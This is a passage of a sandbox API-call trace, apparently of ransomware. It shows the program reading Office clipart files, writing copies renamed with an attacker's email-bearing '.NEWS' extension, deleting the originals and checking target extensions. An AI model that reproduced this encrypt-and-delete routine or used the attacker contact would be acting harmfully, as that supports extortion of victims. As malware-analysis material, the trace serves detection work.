lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.529] lstrlenW (lpString=".jpg") returned 4 [0086.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.529] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.529] lstrlenW (lpString="FD00814_.WMF") returned 12 [0086.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.530] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=42704) returned 1 [0086.530] CloseHandle (hObject=0x39c) returned 1 [0086.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220 [0086.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.530] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.530] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.531] GetLastError () returned 0x0 [0086.531] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xa6d0, lpOverlapped=0x0) returned 1 [0086.533] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xa6e0, lpOverlapped=0x0) returned 1 [0086.534] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.535] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.535] SetEndOfFile (hFile=0x350) returned 1 [0086.535] CloseHandle (hObject=0x350) returned 1 [0086.535] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.535] SetEndOfFile (hFile=0x39c) returned 1 [0086.536] CloseHandle (hObject=0x39c) returned 1 [0086.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0086.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.537] lstrlenW (lpString=".doc") returned 4 [0086.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.537] lstrlenW (lpString=".docx") returned 5 [0086.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.537] lstrlenW (lpString=".pdf") returned 4 [0086.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.537] lstrlenW (lpString=".xls") returned 4 [0086.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.537] lstrlenW (lpString=".xlsx") returned 5 [0086.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.537] lstrlenW (lpString=".ppt") returned 4 [0086.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.537] lstrlenW (lpString=".zip") returned 4 [0086.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.537] lstrlenW (lpString=".rar") returned 4 [0086.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.537] lstrlenW (lpString=".bz2") returned 4 [0086.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.537] lstrlenW (lpString=".7z") returned 3 [0086.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.537] lstrlenW (lpString=".dbf") returned 4 [0086.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.537] lstrlenW (lpString=".1cd") returned 4 [0086.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.537] lstrlenW (lpString=".jpg") returned 4 [0086.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.538] lstrlenW (lpString=".doc") returned 4 [0086.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.538] lstrlenW (lpString=".docx") returned 5 [0086.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.538] lstrlenW (lpString=".pdf") returned 4 [0086.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.538] lstrlenW (lpString=".xls") returned 4 [0086.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.538] lstrlenW (lpString=".xlsx") returned 5 [0086.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.538] lstrlenW (lpString=".ppt") returned 4 [0086.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.538] lstrlenW (lpString=".zip") returned 4 [0086.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.538] lstrlenW (lpString=".rar") returned 4 [0086.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.538] lstrlenW (lpString=".bz2") returned 4 [0086.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.538] lstrlenW (lpString=".7z") returned 3 [0086.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.538] lstrlenW (lpString=".dbf") returned 4 [0086.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.538] lstrlenW (lpString=".1cd") returned 4 [0086.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0086.538] lstrlenW (lpString=".jpg") returned 4 [0086.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.539] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.539] lstrlenW (lpString="FD00965_.WMF") returned 12 [0086.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.539] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=15164) returned 1 [0086.539] CloseHandle (hObject=0x39c) returned 1 [0086.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220 [0086.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.539] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.539] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.540] GetLastError () returned 0x0 [0086.540] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3b3c, lpOverlapped=0x0) returned 1 [0086.541] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3b40, lpOverlapped=0x0) returned 1 [0086.542] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.542] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.542] SetEndOfFile (hFile=0x350) returned 1 [0086.542] CloseHandle (hObject=0x350) returned 1 [0086.543] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.543] SetEndOfFile (hFile=0x39c) returned 1 [0086.543] CloseHandle (hObject=0x39c) returned 1 [0086.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0086.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.544] lstrlenW (lpString=".doc") returned 4 [0086.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.544] lstrlenW (lpString=".docx") returned 5 [0086.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.544] lstrlenW (lpString=".pdf") returned 4 [0086.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.544] lstrlenW (lpString=".xls") returned 4 [0086.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.544] lstrlenW (lpString=".xlsx") returned 5 [0086.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.544] lstrlenW (lpString=".ppt") returned 4 [0086.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.544] lstrlenW (lpString=".zip") returned 4 [0086.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.544] lstrlenW (lpString=".rar") returned 4 [0086.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.544] lstrlenW (lpString=".bz2") returned 4 [0086.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.544] lstrlenW (lpString=".7z") returned 3 [0086.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.545] lstrlenW (lpString=".dbf") returned 4 [0086.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.545] lstrlenW (lpString=".1cd") returned 4 [0086.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.545] lstrlenW (lpString=".jpg") returned 4 [0086.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.545] lstrlenW (lpString=".doc") returned 4 [0086.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.545] lstrlenW (lpString=".docx") returned 5 [0086.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.545] lstrlenW (lpString=".pdf") returned 4 [0086.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.545] lstrlenW (lpString=".xls") returned 4 [0086.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.545] lstrlenW (lpString=".xlsx") returned 5 [0086.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.545] lstrlenW (lpString=".ppt") returned 4 [0086.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.545] lstrlenW (lpString=".zip") returned 4 [0086.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.545] lstrlenW (lpString=".rar") returned 4 [0086.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.545] lstrlenW (lpString=".bz2") returned 4 [0086.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.545] lstrlenW (lpString=".7z") returned 3 [0086.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.545] lstrlenW (lpString=".dbf") returned 4 [0086.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.546] lstrlenW (lpString=".1cd") returned 4 [0086.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0086.546] lstrlenW (lpString=".jpg") returned 4 [0086.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.546] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.546] lstrlenW (lpString="FD01074_.WMF") returned 12 [0086.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.546] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=4634) returned 1 [0086.546] CloseHandle (hObject=0x39c) returned 1 [0086.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220 [0086.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.546] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.547] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.547] GetLastError () returned 0x0 [0086.547] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x121a, lpOverlapped=0x0) returned 1 [0086.548] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1220, lpOverlapped=0x0) returned 1 [0086.549] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.549] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.549] SetEndOfFile (hFile=0x350) returned 1 [0086.550] CloseHandle (hObject=0x350) returned 1 [0086.550] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.550] SetEndOfFile (hFile=0x39c) returned 1 [0086.551] CloseHandle (hObject=0x39c) returned 1 [0086.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0086.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.551] lstrlenW (lpString=".doc") returned 4 [0086.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.551] lstrlenW (lpString=".docx") returned 5 [0086.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.551] lstrlenW (lpString=".pdf") returned 4 [0086.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.551] lstrlenW (lpString=".xls") returned 4 [0086.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.551] lstrlenW (lpString=".xlsx") returned 5 [0086.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.551] lstrlenW (lpString=".ppt") returned 4 [0086.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.551] lstrlenW (lpString=".zip") returned 4 [0086.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.551] lstrlenW (lpString=".rar") returned 4 [0086.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.551] lstrlenW (lpString=".bz2") returned 4 [0086.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.552] lstrlenW (lpString=".7z") returned 3 [0086.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.552] lstrlenW (lpString=".dbf") returned 4 [0086.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.552] lstrlenW (lpString=".1cd") returned 4 [0086.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.552] lstrlenW (lpString=".jpg") returned 4 [0086.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.552] lstrlenW (lpString=".doc") returned 4 [0086.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.552] lstrlenW (lpString=".docx") returned 5 [0086.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.552] lstrlenW (lpString=".pdf") returned 4 [0086.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.552] lstrlenW (lpString=".xls") returned 4 [0086.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.552] lstrlenW (lpString=".xlsx") returned 5 [0086.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.553] lstrlenW (lpString=".ppt") returned 4 [0086.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.553] lstrlenW (lpString=".zip") returned 4 [0086.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.553] lstrlenW (lpString=".rar") returned 4 [0086.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.553] lstrlenW (lpString=".bz2") returned 4 [0086.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.553] lstrlenW (lpString=".7z") returned 3 [0086.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.553] lstrlenW (lpString=".dbf") returned 4 [0086.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.553] lstrlenW (lpString=".1cd") returned 4 [0086.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0086.553] lstrlenW (lpString=".jpg") returned 4 [0086.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.553] lstrcmpiW (lpString1=".WMF", 